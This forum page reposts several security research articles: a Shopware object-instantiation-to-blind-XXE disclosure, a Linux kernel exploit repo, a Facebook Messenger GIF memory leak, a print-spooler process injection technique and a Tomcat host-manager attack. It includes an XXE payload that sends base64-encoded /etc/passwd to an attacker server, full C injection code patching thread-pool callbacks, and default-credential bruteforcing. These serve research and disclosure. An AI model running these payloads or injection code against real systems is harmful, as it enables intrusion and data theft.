Jump to content

Nytro

Administrators
  • Posts

    18794
  • Joined

  • Last visited

  • Days Won

    742

Posts posted by Nytro

  1. Shopware 5.3.3: PHP Object Instantiation to Blind XXE

    8 Nov 2017 by Karim El Ouerghemmi
    Shopware Object Instantiation

    Shopware is a popular e-commerce software. It is based on PHP using technologies like Symfony 2, Doctrine and the Zend Framework. The code base of its open source community edition encompasses over 690,000 lines of code which we scanned for security vulnerabilities with our RIPS static code analyzer.

    The analysis of this complex code base took roughly 4 minutes. RIPS discovered two vulnerabilities: a PHP object instantiation and a SQL injection which we disclosed to the vendor and were fixed in version 5.3.4. In this blog post we investigate the rare object instantiation vulnerability (CVE-2017-18357). We describe how it can occur and how it can be exploited by an attacker in order to retrieve arbitrary files from the server.

     

    Who is affected

    Installations with following requirements are affected by this vulnerabilities:

    • Shopware version <= 5.3.3 and >= 5.1

    Impact - What can an attacker do

    In order to exploit the found vulnerabilities an attacker needs to be able to use the backend functionality of Shopware, specifically, the configuration of product streams. However, it is sufficient if the attacker can control the session of an account with limited permissions.

    Successfully exploiting the object instantiation vulnerability grants an attacker the ability to instantiate an object in the PHP application of an arbitrary class. By using a blind XXE attack described in this blog post, this can lead to the disclosure of any file on the server (as long as the user associated with the PHP process has the required permissions). This can for example, be any confidential file of the shopware installation like config.php which contains the database credentials.

    PHP Object Instantiation

    In this section we will technically analyse the object instantiation vulnerability by examining the flow of data from the input to the dangerous sink. Furthermore, we will present a way of how such a vulnerability can be exploited by escalating it into a blind XXE attack. This sort of vulnerability is not very often to find, and thus an interesting candidate for our inspection.

    RIPS automatically identified the object instantiation vulnerability that spans over multiple files and classes. The point of injection resides in the feature to preview product streams in the shopware backend. Here, the user parameter sort is received in the loadPreviewAction() method of the Shopware_Controllers_Backend_ProductStream controller.

     

    Controllers/Backend/ProductStream.php

     1 2 3 4 5 6 7 8 9101112
    class Shopware_Controllers_Backend_ProductStream extends Shopware_Controllers_Backend_Application
    {
        public function loadPreviewAction()
        {
            
            $sorting = $this->Request()->getParam('sort');
            
            $streamRepo = $this->get('shopware_product_stream.repository');
            $streamRepo->unserialize($sorting);
            
        }
    }

     

    The input is then forwarded to the unserialize() method of Shopware\Components\ProductStream\Repository. Note that this is not a PHP Object Injection vulnerability and a custom unserialize() method. This method calls another unserialize() method of Shopware\Components\LogawareReflectionHelper.

     

    Components/ProductStream/Repository.php

    12345678
    namespace Shopware\Components\ProductStream;
    class Repository implements RepositoryInterface
    {
        public function unserialize($serializedConditions)
        {
            return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
        }
    }

     

    The user input is passed along in the first parameter. Here, it ends up in a foreach loop.

     

    Components/LogawareReflectionHelper.php

     1 2 3 4 5 6 7 8 9101112131415
    namespace Shopware\Components;
    class LogawareReflectionHelper
    {
        public function unserialize($serialized, $errorSource)
        {
            classes = [];
            foreach($serialized as $className => $arguments)
            {
                
                $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
                
            }
            return $classes;
        }
    }

     

    Each array key of the user input is then passed to a createInstanceFromNamedArguments() method as $className.

     

    Components/LogawareReflectionHelper.php

     1 2 3 4 5 6 7 8 91011121314
    namespace Shopware\Components;
    class ReflectionHelper
    {
        public function createInstanceFromNamedArguments($className, $arguments)
        {
            $reflectionClass = new \ReflectionClass($className);
            
            $constructorParams = $reflectionClass->getConstructor()->getParameters();
            
            // Check if all required parameters are given in $arguments
            
            return $reflectionClass->newInstanceArgs($arguments);
        }
    }

     

    Finally, the keypoint is the instantiation of an object with ReflectionClass of the type specified in $className. The invokation of the newInstanceArgs() method with user controlled input in $arguments allows to specify the arguments of the constructor. ReflectionClass is part of the reflection API introduced with PHP 5. It allows retrieving information (available methods, their awaited parameters, etc.) about all classes accessible at a given point during execution. As the name implies, newInstanceArgs() creates an instance of a class with given parameters. So basically at this point, we can instantiate arbitrary objects.

     

    Blind XXE

    Let’s take a look at how such a vulnerability can be exploited. An attacker that can control the input sent to the loadPreviewAction() method for product streams can provoke the instantiation of an arbitrary object with chosen parameters. Exploiting an object instantiation vulnerability with chosen parameters presents nearly the same challenges to an attacker as exploiting an object injection vulnerability. The difference is that instead of the magic method __wakeup() that gets called when an object is unserialized, __construct() gets called. Inspecting the lifecycle of an injected dummy object revealed that the following methods of its methods get called:

    1. __construct()
    2. __call() if method getName() not available. Else getName()
    3. __destruct()
    

     

    So what is left to do is to find a class available at runtime in which one of the above methods is implemented in an advantageous manner. Unfortunately we could not find any such class in the Shopware code base.

    However, at runtime also the PHP built-in classes are available! An interesting class of which one could instantiate an object in such a situation is SimpleXMLElement. This class is part of the PHP SimpleXML extension which is available on most PHP installations. When instantiating an object of SimpleXMLElement, the data passed to its constructor is parsed as XML. This can be exploited to launch an XML External Entity (XXE) attack. The signature of the constructor of SimpleXMLElement looks like the following:

    1
    SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = false [, string $ns = "" [, bool $is_prefix = false ]]]] )

     

    As the third parameter $data_is_url might imply, it’s even possible to pass an URL to an external XML file which should be parsed. The following XML and DTD example shows how this can be abused to read any file on the targeted system that the web server’s privileges allow access to.

     

    xxe.xml

    12345678
    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://1.3.3.7:8000/xxe.dtd">
    %sp;
    %param1;
    ]>
    <r>&exfil;</r>

     

     

    xxe.dtd

    12
    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://1.3.3.7:8000/?%data;'>">

     

    First, the object instantiation vulnerability is used to instantiate a SimpleXMLElement object with the appropriate parameters. The parameter $options must be set to LIBXML_NOENT in order to activate entity substitution which is required for the XXE to work. The parameter $data_is_url is set to true and the $data points to the attackers xxe.xml file. When the XML file is parsed by the injected SimpleXMLElement object, it reads the /etc/passwd file from the file system and sends its content base64 encoded back to the attackers web server.

    123
    1.2.3.4 - - [07/Nov/2017 13:55:54] "GET /xxe.xml HTTP/1.0" 200 -
    1.2.3.4 - - [07/Nov/2017 13:55:54] "GET /xxe.dtd HTTP/1.0" 200 -
    1.2.3.4 - - [07/Nov/2017 13:55:54] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmF....== HTTP/1.0" 200 -

    Finally, the attacker can read the content of the desired file by reviewing his web server’s log file and base64 decoding the received log entry.

    Time Line

    Date What
    2017/09/13 Reported vulnerabilities in Shopware ticket system
    2017/09/14 Coordinated disclosure timeline with vendor
    2017/10/02 Vendor fixed issues in code base
    2017/10/24 Vendor released fixed version 5.3.4

    Summary

    We analyzed the community edition of the popular e-commerce software Shopware as part of our PHP vulnerability research that contributes to open source security. Using cutting-edge static code analysis techniques, we identified two security issues in the code base. In this post we analyzed a unique and cool object instantiation vulnerability and presented a way of how such a vulnerability can be escalated into a blind XXE attack leading to arbitrary file disclosure.

    We would like to thank the team behind Shopware for their professional collaboration and for quickly resolving the issues with the release of version 5.3.4. If you are still using an older version, we encourage to update.

     

     

    Sursa: https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/

  2. Linux kernel exploitation experiments

    This is a playground for the Linux kernel exploitation experiments. Only basic methods. Just for fun.

    Contents:

    • drill_mod.c - a small Linux kernel module with nice vulnerabilities. You can interact with it via a simple debugfs interface.
    • drill_exploit_uaf.c - a basic use-after-free exploit.
    • drill_exploit_nullderef.c - a basic null-ptr-deref exploit, which uses wonderful mmap_min_addr bypass by Jann Horn.

    N.B. Only basic exploit techniques here. So compile your kernel with x86_64_defconfig and run it with pti=off nokaslr.

    Have fun!

     

    Sursa: https://github.com/a13xp0p0v/kernel-hack-drill

  3. Facebook Messenger server random memory exposure through corrupted GIF image

     
     

    Intro

    Year ago, in February 2018, I was testing Facebook Messenger for Android looking how it works with corrupted GIF images. I was inspired by Imagemagick "uninitialized memory disclosure in gif coder" bug and PoC called "gifoeb" (cool name for russian speakers). I found Messenger app only crashes with images generated by "gifoeb" tool with Nullpointer dereferrence (Facebook did't awarded bounty for DoS in Facebook Messenger for Android).
    Ok. I thought: what is GIF image format and how it looks, how I can generate my own image?
    (spoiler: 10K$ bug in Facebook Messenger for Web, but theory first)

    Basic GIF image

    I found clear description of GIF image format, the main header should look like this:

     
    Offset   Length   Contents
      0      3 bytes  "GIF"
      3      3 bytes  "87a" or "89a"
      6      2 bytes  <Logical Screen Width>
      8      2 bytes  <Logical Screen Height>
     10      1 byte   bit 0:    Global Color Table Flag (GCTF)
                      bit 1..3: Color Resolution
                      bit 4:    Sort Flag to Global Color Table
                      bit 5..7: Size of Global Color Table: 2^(1+n)
     11      1 byte   <Background Color Index>
     12      1 byte   <Pixel Aspect Ratio>
     13      ? bytes  <Global Color Table(0..255 x 3 bytes) if GCTF is one>
             ? bytes  <Blocks>
             1 bytes  <Trailer> (0x3b)
    
     
    (Full good description here: http://www.onicos.com/staff/iz/formats/gif.html#header)
    I decided to create the basic GIF file with the minimal required fields.
     

    Making own GIF

    To create own GIF I've taken python to help me generate binary file
     
     
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    import struct
    
    screenWidth = 640
    screenHeight = 480
    
    f = open('test.gif', 'wb')
    
    # Offset   Length   Contents
    #   0      3 bytes  "GIF"
    #   3      3 bytes  "87a" or "89a"
    f.write(b"GIF89a")
    
    #   6      2 bytes  <Logical Screen Width>
    f.write(struct.pack('<h', screenWidth))
    
    #   8      2 bytes  <Logical Screen Height>
    f.write(struct.pack('<h', screenHeight))
    
    #  10      1 byte   bit 0:    Global Color Table Flag (GCTF)
    #                   bit 1..3: Color Resolution
    #                   bit 4:    Sort Flag to Global Color Table
    #                   bit 5..7: Size of Global Color Table: 2^(1+n)
    bits = int('00000010', 2)
    f.write(struct.pack('<b', bits))
    
    #  11      1 byte   <Background Color Index>
    f.write(struct.pack('<b', 0))
    
    #  12      1 byte   <Pixel Aspect Ratio>
    f.write(struct.pack('<b', 1))
    
    #  13      ? bytes  <Global Color Table(0..255 x 3 bytes) if GCTF is one>
    
    #          ? bytes  <Blocks>
    
    
    # Offset   Length   Contents
    #   0      1 byte   Image Separator (0x2c)
    f.write(struct.pack('<b', 0x2c))
    
    #   1      2 bytes  Image Left Position
    f.write(struct.pack('<h', 0))
    
    #   3      2 bytes  Image Top Position
    f.write(struct.pack('<h', 0))
    
    #   5      2 bytes  Image Width
    f.write(struct.pack('<h', screenWidth))
    
    #   7      2 bytes  Image Height
    f.write(struct.pack('<h', screenHeight))
    
    #   8      1 byte   bit 0:    Local Color Table Flag (LCTF)
    #                   bit 1:    Interlace Flag
    #                   bit 2:    Sort Flag
    #                   bit 2..3: Reserved
    #                   bit 4..7: Size of Local Color Table: 2^(1+n)
    #          ? bytes  Local Color Table(0..255 x 3 bytes) if LCTF is one
    f.write(struct.pack('<b', int('00000100', 2)))
    
    #          1 byte   LZW Minimum Code Size
    #f.write(struct.pack('<b', 1))
    
    # [ // Blocks
    #          1 byte   Block Size (s)
    #f.write(struct.pack('<b', 1))
    
    #         (s)bytes  Image Data
    # ]*
    #          1 byte   Block Terminator(0x00)
    #f.write(struct.pack('<b', 0))
    
    
    #          1 bytes  <Trailer> (0x3b)
    
    
    
    f.write(struct.pack('<b', 0x3b))
    
    f.close()
    

    This script generates exactly the same image as we need. I left comments to see which headers we ignore in image, you can see that our GIF does't have image data blocks - it is empty, after color table flags goes trailer.
     

    Facebook Messenger 

    I started to test Facebook Messenger for Android with my generated GIFs (I had variations with different sizes, header fields), but nothing happened... Until I opened Messenger web page on my laptop and saw this weird image:
    28277544_199756737442330_145618297780436992_n.gif
    It was very small, increased size
    Wait, but our GIF does't have any content, what image I have back from Facebook?
    I had changed GIF size and saw this white noise image, hm, looks also weird:
     
    fb_1.jpg
    No TV signal

    Really strange. I've uploaded the same binary again and saw:
     
    fb_2.jpg
    Embedded TV screen in Messenger
    Image a bit changed. But I uploaded the same GIF in both cases.
    After playing with GIF screen/image sizes:
     
     
    fb_3.jpg
    Full screen picture
    This reminds me situation when you tried to read image from file and used width instead of height.
    Finally I caught this output:
    fb_4.jpg
    Semi stable TV signal in Messenger caught
    And I realized that I'm getting some previous buffer for GIF image, because my image does't have content body.
     

     

    Timeline

    26 FEB 2018: report sent to Facebook Team
    01 MAR 2018: triaged
    09 MAR 2018: fixed
    21 MAR 2018: 10k$

     

    Sursa: https://www.vulnano.com/2019/03/facebook-messenger-server-random-memory.html

  4. Windows Process Injection: Print Spooler

    Posted on March 7, 2019 by odzhan

    Introduction

    Every application running on the windows operating system has a thread pool or a “worker factory” and this internal mechanism allows an application to offload management of threads typically used for asynchronous operations. The automation of thread management facilitates the support of callback functions in response to I/O events or a timer expiring. Imagine you have a process that needs to send and receive data over the network. Do we want the application to wait indefinitely to receive something from the network? ..or do we want to perform other tasks simultaneously? Thread pooling enables more efficient management of threads and specifically asynchronous callback procedures. These functions can be patched in memory and this allows one to inadvertently execute code without the creation of a new thread. Figure 1 shows notepad running under the spooler process after being patched with shellcode and invoked using print spooler API.

    spooler.png?w=640

    Figure 1. Notepad running under spooler process.

    Finding Callback Environments

    Callback functions are stored in mostly opaque/undocumented structures that I haven’t taken the time to fully document here because my main objective is to perform code injection. For the print spooler, we’re only interested in the TP_ALPC structure that is used by TppAlpcpExecuteCallback located in NTDLL.dll. This function dispatches printer requests via the LPC port to LrpcIoComplete located in RPCRT4.dll. TP_ALPC contains a TP_CALLBACK_ENVIRON structure or what I’ll refer to as CBE from now on. CBEs can be found in both the stack and heap memory space of a process, so the virtual memory we need to scan has the following memory attributes.

    • State is MEM_COMMIT
    • Type is MEM_PRIVATE
    • Protect is PAGE_READWRITE

    The data we’re looking for can be interepreted using the following structure.

    typedef struct _TP_CALLBACK_ENVIRON_V3 {
        TP_VERSION                         Version;
        PTP_POOL                           Pool;
        PTP_CLEANUP_GROUP                  CleanupGroup;
        PTP_CLEANUP_GROUP_CANCEL_CALLBACK  CleanupGroupCancelCallback;
        PVOID                              RaceDll;
        struct _ACTIVATION_CONTEXT        *ActivationContext;
        PTP_SIMPLE_CALLBACK                FinalizationCallback;
        union {
            DWORD                          Flags;
            struct {
                DWORD                      LongFunction :  1;
                DWORD                      Persistent   :  1;
                DWORD                      Private      : 30;
            } s;
        } u;
        TP_CALLBACK_PRIORITY               CallbackPriority;
        DWORD                              Size;
    } TP_CALLBACK_ENVIRON_V3;
    

    However, in memory, two additional pointers are required. One is the actual callback function and the other is a callback parameter. It is likely a separate structure that also appears to be undocumented.

    00000000`011fbd08  00000000`00000001 ; Version
    00000000`011fbd10  00007ffc`b50c0680 ntdll!TppAlpcpCleanupGroupMemberVFuncs ; Pool
    00000000`011fbd18  00000000`00000000 ; CleanupGroup
    00000000`011fbd20  00000000`00000000 ; CleanupGroupCancelCallback
    00000000`011fbd28  00000000`00000000 ; RaceDll
    00000000`011fbd30  00000000`011fbd30 ; ActivationContext
    00000000`011fbd38  00000000`011fbd30 ; FinalizationCallback
    00000000`011fbd40  00000000`00000000 ; Flags
    00000000`011fbd48  00000000`00000000 ; CallbackPriority
    00000000`011fbd50  00000000`00000000 ; Size
    
    00000000`011fbd58  00007ffc`b38a9240 RPCRT4!LrpcIoComplete ; Callback
    00000000`011fbd60  00000000`0121c948 ; CallbackParameter
    

    The following structure is used to find valid CBEs instead of the original from the SDK.

    // this structure is derived from TP_CALLBACK_ENVIRON_V3,
    // but also includes two additional values. one to hold
    // the callback function and the other is a callback parameter
    typedef struct _TP_CALLBACK_ENVIRON_X {
        ULONG_PTR   Version;
        ULONG_PTR   Pool;
        ULONG_PTR   CleanupGroup;
        ULONG_PTR   CleanupGroupCancelCallback;
        ULONG_PTR   RaceDll;
        ULONG_PTR   ActivationContext;
        ULONG_PTR   FinalizationCallback;
        ULONG_PTR   Flags;
        ULONG_PTR   CallbackPriority;
        ULONG_PTR   Size;
        ULONG_PTR   Callback;
        ULONG_PTR   CallbackParameter;
    } TP_CALLBACK_ENVIRON_X;
    

    We read blocks of memory equivalent to the size of TP_CALLBACK_ENVIRON_X and validate them with some simple checks. The following function can determine if the memory looks like a valid CBE.

    BOOL IsValidCBE(HANDLE hProcess, PTP_CALLBACK_ENVIRONX cbe) {
        MEMORY_BASIC_INFORMATION mbi;
        SIZE_T                   res;
        
        // invalid version?
        if(cbe->Version > 5) return FALSE;
        
        // these values shouldn't be empty  
        if(cbe->Pool                 == 0 ||
           cbe->FinalizationCallback == 0) return FALSE;
           
        // these values should be equal
        if ((LPVOID)cbe->FinalizationCallback != 
            (LPVOID)cbe->ActivationContext) return FALSE;
        
        // priority shouldn't exceed TP_CALLBACK_PRIORITY_INVALID
        if(cbe->CallbackPriority > TP_CALLBACK_PRIORITY_INVALID) return FALSE;
        
        // the pool functions should originate from read-only memory
        res = VirtualQueryEx(hProcess, (LPVOID)cbe->Pool, &mbi, sizeof(mbi));
          
        if (res != sizeof(mbi)) return FALSE;
        if (!(mbi.Protect & PAGE_READONLY)) return FALSE;
        
        // the callback function should originate from read+execute memory
        res = VirtualQueryEx(hProcess, 
          (LPCVOID)cbe->Callback, &mbi, sizeof(mbi));
          
        if (res != sizeof(mbi)) return FALSE;
        return (mbi.Protect & PAGE_EXECUTE_READ);
    }
    

    Payload

    The payload is written in C and simply runs notepad. Calculator isn’t used because it’s a metro application on Windows 10 that has specific requirements to work. The TP_ALPC structure passed to LrpcIoComplete isn’t documented, but does include a structure similar to TP_CALLBACK_ENVIRON_V3. Once our payload is executed, we first restore the original Callback and CallbackParameter values. This is required because once we call WinExec, it will trigger another call to LrpcIoComplete, entering into an infinite loop before crashing the process. After restoration, call WinExec, followed by LrpcIoComplete using original values.

    #ifdef TPOOL // Thread Pool Callback
    // the wrong types are used here, but it doesn't really matter
    typedef struct _TP_ALPC {
        // ALPC callback info
        ULONG_PTR   AlpcPool;
        ULONG_PTR   Unknown1;
        ULONG_PTR   Unknown2;
        ULONG_PTR   Unknown3;
        ULONG_PTR   Unknown4;
        ULONG_PTR   AlpcActivationContext;
        ULONG_PTR   AlpcFinalizationCallback;
        ULONG_PTR   AlpcCallback;
        ULONG_PTR   Unknown5;
        // callback environment
        ULONG_PTR   Version;
        ULONG_PTR   Pool;
        ULONG_PTR   CleanupGroup;
        ULONG_PTR   CleanupGroupCancelCallback;
        ULONG_PTR   RaceDll;
        ULONG_PTR   ActivationContext;
        ULONG_PTR   FinalizationCallback;
        ULONG_PTR   Flags;
        ULONG_PTR   CallbackPriority;
        ULONG_PTR   Size;
        ULONG_PTR   Callback;
        ULONG_PTR   CallbackParameter;
    } TP_ALPC;
    
    typedef struct _tp_param_t {
        ULONG_PTR   Callback;
        ULONG_PTR   CallbackParameter;
    } tp_param;
    
    typedef TP_ALPC TP_ALPC, *PTP_ALPC;
    
    typedef void (WINAPI *LrpcIoComplete_t)(LPVOID, LPVOID, LPVOID, LPVOID);
    
    VOID TpCallBack(LPVOID tp_callback_instance, 
      LPVOID param, PTP_ALPC alpc, LPVOID unknown2) 
    #endif
    {
        WinExec_t pWinExec;
        DWORD     szWinExec[2],
                  szNotepad[3];
        #ifdef TPOOL
          LrpcIoComplete_t pLrpcIoComplete;
          tp_param         *tp=(tp_param*)param;
          ULONG_PTR        op;
          // param should contain pointer to tp_param
          pLrpcIoComplete = (LrpcIoComplete_t)tp->Callback;
          op              = tp->CallbackParameter;
          // restore original values
          // this will indicate we executed ok,
          // but is also required before the call to WinExec
          alpc->Callback          = tp->Callback;
          alpc->CallbackParameter = tp->CallbackParameter;
        #endif
        // now call WinExec to start notepad
        szWinExec[0] = *(DWORD*)"WinE";
        szWinExec[1] = *(DWORD*)"xec\0";
        
        szNotepad[0] = *(DWORD*)"note";
        szNotepad[1] = *(DWORD*)"pad\0";
    
        pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
        
        if(pWinExec != NULL) {
          pWinExec((LPSTR)szNotepad, SW_SHOW);
        }
        
        // finally, pass the original message on..
        #ifdef TPOOL 
          pLrpcIoComplete(tp_callback_instance, 
            (LPVOID)alpc->CallbackParameter, alpc, unknown2);
        #endif
        
        #ifndef TPOOL
        return 0;
        #endif
    }
    

    Deploying and Triggering Payload

    Here, we use a conventional method of sharing the payload/shellcode with spooler process. This consists of:

    • OpenProcess(“spoolsv.exe”)
    • VirtualAllocEx(payloadSize, PAGE_EXECUTE_READWRITE)
    • WriteProcessMemory(payload, payloadSize)

    Once we have a valid CBE, we patch the Callback pointer with address to our payload and try invoke it using the print spooler API. Although OpenPrinter is used in the following code, you could probably use any other API that involves interaction with the print spooler service. At the abstraction layer, interaction with the print spooler service is conducted over Local Procedure Call (LPC) which is an interprocess communication. Over the network uses Remote Procedure Call (RPC) but we’re obviously not injecting over network. ?

    // try inject and run payload in remote process using CBE
    BOOL inject(HANDLE hp, LPVOID ds, PTP_CALLBACK_ENVIRONX cbe) {
        LPVOID               cs = NULL;
        BOOL                 bStatus = FALSE;
        TP_CALLBACK_ENVIRONX cpy;    // local copy of cbe
        SIZE_T               wr;
        HANDLE               phPrinter = NULL;
        tp_param             tp;
        
        // allocate memory in remote for payload and callback parameter
        cs = VirtualAllocEx(hp, NULL, payloadSize + sizeof(tp_param), 
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                
        if (cs != NULL) {
            // write payload to remote process
            WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
            // backup CBE
            CopyMemory(&cpy, cbe, sizeof(TP_CALLBACK_ENVIRONX));
            // copy original callback address and parameter
            tp.Callback          = cpy.Callback;
            tp.CallbackParameter = cpy.CallbackParameter;
            // write callback+parameter to remote process
            WriteProcessMemory(hp, (LPBYTE)cs + payloadSize, &tp, sizeof(tp), &wr);
            // update original callback with address of payload and parameter
            cpy.Callback          = (ULONG_PTR)cs;
            cpy.CallbackParameter = (ULONG_PTR)(LPBYTE)cs + payloadSize;
            // update CBE in remote process
            WriteProcessMemory(hp, ds, &cpy, sizeof(cpy), &wr);
            // trigger execution of payload
            if(OpenPrinter(NULL, &phPrinter, NULL)) {
              ClosePrinter(phPrinter);
            }
            // read back the CBE
            ReadProcessMemory(hp, ds, &cpy, sizeof(cpy), &wr);
            // restore the original cbe
            WriteProcessMemory(hp, ds, cbe, sizeof(cpy), &wr);
            // if callback pointer is the original, we succeeded.
            bStatus = (cpy.Callback == cbe->Callback);
            // release memory for payload
            VirtualFreeEx(hp, cs, payloadSize, MEM_RELEASE);
        }
        return bStatus;
    }
    

    Figure 2 shows an attempt to inject code by four different DLL before finally succeeding with RPCRT4.dll.

    tpool_injection.png?w=640&h=185

    Figure 2. Code injection via Callback Environment

    The code shown here is only a proof of concept and could be refined to be more elegant or be applied to other processes that use thread pooling. I only use the print spooler here, but of course other processes use thread pooling and could also be leveraged for code injection. Sources can be found here.

    Update

    To use the same method of injection against almost any other process that uses ALPC, you can connect directly to the ALPC port.

    /**
      Get a list of ALPC ports with names
    */
    DWORD GetALPCPorts(process_info *pi) 
    {    
        ULONG                      len=0, total=0;
        NTSTATUS                   status;
        LPVOID                     list=NULL;    
        DWORD                      i;
        HANDLE                     hObj;
        PSYSTEM_HANDLE_INFORMATION hl;
        POBJECT_NAME_INFORMATION   objName;
        
        pi->ports.clear();
        
        // get a list of handles for the local system
        for(len=MAX_BUFSIZ;;len+=MAX_BUFSIZ) {
          list = xmalloc(len);
          status = NtQuerySystemInformation(
              SystemHandleInformation, list, len, &total);
          // break from loop if ok    
          if(NT_SUCCESS(status)) break;
          // free list and continue
          xfree(list);   
        }
        
        hl      = (PSYSTEM_HANDLE_INFORMATION)list;
        objName = (POBJECT_NAME_INFORMATION)xmalloc(8192);
        
        // for each handle
        for(i=0; i<hl->NumberOfHandles; i++) {
          // skip if process ids don't match
          if(hl->Handles[i].UniqueProcessId != pi->pid) continue;
    
          // skip if the type isn't an ALPC port
          // note this value might be different on other systems.
          // this was tested on 64-bit Windows 10
          if(hl->Handles[i].ObjectTypeIndex != 45) continue;
          
          // duplicate the handle object
          status = NtDuplicateObject(
                pi->hp, (HANDLE)hl->Handles[i].HandleValue, 
                GetCurrentProcess(), &hObj, 0, 0, 0);
                
          // continue with next entry if we failed
          if(!NT_SUCCESS(status)) continue;
          
          // try query the name
          status = NtQueryObject(hObj, 
              ObjectNameInformation, objName, 8192, NULL);
          
          // got it okay?
          if(NT_SUCCESS(status) && objName->Name.Buffer!=NULL) {
            // save to list
            pi->ports.push_back(objName->Name.Buffer);
          }
          // close handle object
          NtClose(hObj); 
        }
        // free list of handles
        xfree(objName);
        xfree(list);
        return pi->ports.size();
    }
    

    Connecting to ALPC port

    // connect to ALPC port
    BOOL ALPC_Connect(std::wstring path) {
        SECURITY_QUALITY_OF_SERVICE ss;
        NTSTATUS                    status;
        UNICODE_STRING              server;
        ULONG                       MsgLen=0;
        HANDLE                      h;
        
        ZeroMemory(&ss, sizeof(ss));
        ss.Length              = sizeof(ss);
        ss.ImpersonationLevel  = SecurityImpersonation;
        ss.EffectiveOnly       = FALSE;
        ss.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
    
        RtlInitUnicodeString(&server, path.c_str());
        
        status = NtConnectPort(&h, &server, &ss, NULL, 
          NULL, (PULONG)&MsgLen, NULL, NULL);
          
        NtClose(h);
        
        return NT_SUCCESS(status);
    }
    

    Deploying/Triggering

    Same as before except we have to try multiple ALPC ports instead of just using print spooler API.

    // try inject and run payload in remote process using CBE
    BOOL ALPC_deploy(process_info *pi, LPVOID ds, PTP_CALLBACK_ENVIRONX cbe) {
        LPVOID               cs = NULL;
        BOOL                 bInject = FALSE;
        TP_CALLBACK_ENVIRONX cpy;    // local copy of cbe
        SIZE_T               wr;
        tp_param             tp;
        DWORD                i;
        
        // allocate memory in remote for payload and callback parameter
        cs = VirtualAllocEx(pi->hp, NULL, 
          pi->payloadSize + sizeof(tp_param), 
          MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                
        if (cs != NULL) {
            // write payload to remote process
            WriteProcessMemory(pi->hp, cs, pi->payload, pi->payloadSize, &wr);
            // backup CBE
            CopyMemory(&cpy, cbe, sizeof(TP_CALLBACK_ENVIRONX));
            // copy original callback address and parameter
            tp.Callback          = cpy.Callback;
            tp.CallbackParameter = cpy.CallbackParameter;
            // write callback+parameter to remote process
            WriteProcessMemory(pi->hp, (LPBYTE)cs + pi->payloadSize, &tp, sizeof(tp), &wr);
            // update original callback with address of payload and parameter
            cpy.Callback          = (ULONG_PTR)cs;
            cpy.CallbackParameter = (ULONG_PTR)(LPBYTE)cs + pi->payloadSize;
            // update CBE in remote process
            WriteProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
            // trigger execution of payload
            for(i=0;i<pi->ports.size(); i++) {
              ALPC_Connect(pi->ports[i]);
              // read back the CBE
              ReadProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
              // if callback pointer is the original, we succeeded.
              bInject = (cpy.Callback == cbe->Callback);
              if(bInject) break;
            }
            // restore the original cbe
            WriteProcessMemory(pi->hp, ds, cbe, sizeof(cpy), &wr);
            // release memory for payload
            VirtualFreeEx(pi->hp, cs, 
              pi->payloadSize+sizeof(tp), MEM_RELEASE);
        }
        return bInject;
    }
    

    alpc_inject.png?w=640&h=344

    Sources can be found here.

     

    Sursa: https://modexp.wordpress.com/2019/03/07/process-injection-print-spooler/

  5. Tomcat exploit variant : host-manager

    Apache Tomcat exploit ubuntu exploitation d'un tomcat

    During an internal audit mission, I was led to exploit a Windows based Tomcat instance. Now usually, exploiting a Tomcat instance involves accessing the “manager”, which is suite a simple exploit.

    However, in this context, the manager was not accessible (403 HTTP error). But, and this is where it gets interesting, the host-manager was reachable.

    Context :

    Our target -> Windows 2012R2 server (192.168.56.31)

    Command Control C&C (Our Machine) -> Ubuntu 16.04 (192.168.56.1)

    Tomcat Version -> Latest release at the time of writing (8.5.37)

     

    Reconnaissance

    A nmap scan on the target host reveals that Tomcat is listening on the 8080 port.

    scan nmap tomcat installé - exploitation d'un tomcat

    This kind of target is ideal when auditing, because as a rule of thumb Tomcat is running with “nt authority\system” rights on the Windows host, which enables us to gain total control on the server should we succeed in breaching it. This in turn grants us passwords and hashes that will then enable us to move forward in our privilege escalation in the network.

    tomcat page default

    Authentification

    On first discovery of a Tomcat instance, the first action as an auditor is to try and authenticate through the manager. We generally try default credentials such as admin/admin or tomcat/tomcat.

    In this instance, I got an “Access Refused 403” when trying to access the manager with the “tomcat/tomcat” combo.

    authentification tomcat manager deny

    But, when I try the same thing on the host-manager ….

    … boom, HTTP 200, we are in.

    virtual host manager

    A few techniques are available to automatize the bruteforce phase:

    Module Metasploit : auxiliary/scanner/http/tomcat_mgr_login

    exploitation d'un tomcat avec bruteforce metasploit

    Hydra

    exploitation d'un tomcat avec bruteforce hydra

    Nikto (it integrates a test with the login combo “tomcat/tomcat”)

    bruteforce nikto tomcat

    A few scripts linked to Tomcat

    Exploiting the « host-manager »

    Ok, so we’ve got access to the host-manager, now what?

     

    The application does not have and upload form, and from what I’d gathered from the documentation, you need to know and control the path of the application you want to deploy, as well as a valid vhost.

    And when I was reading the doc again, I had the idea which would later become the exploit: what if I could create a UNC path pointing towards an SMB server (smbserver.py by impacket) that I controled !

     

    exploitation d'un tomcat par host manager detection

    Bingo! Tomcat connects to my server!

    exploitation d'un tomcat host manager detection smbserver

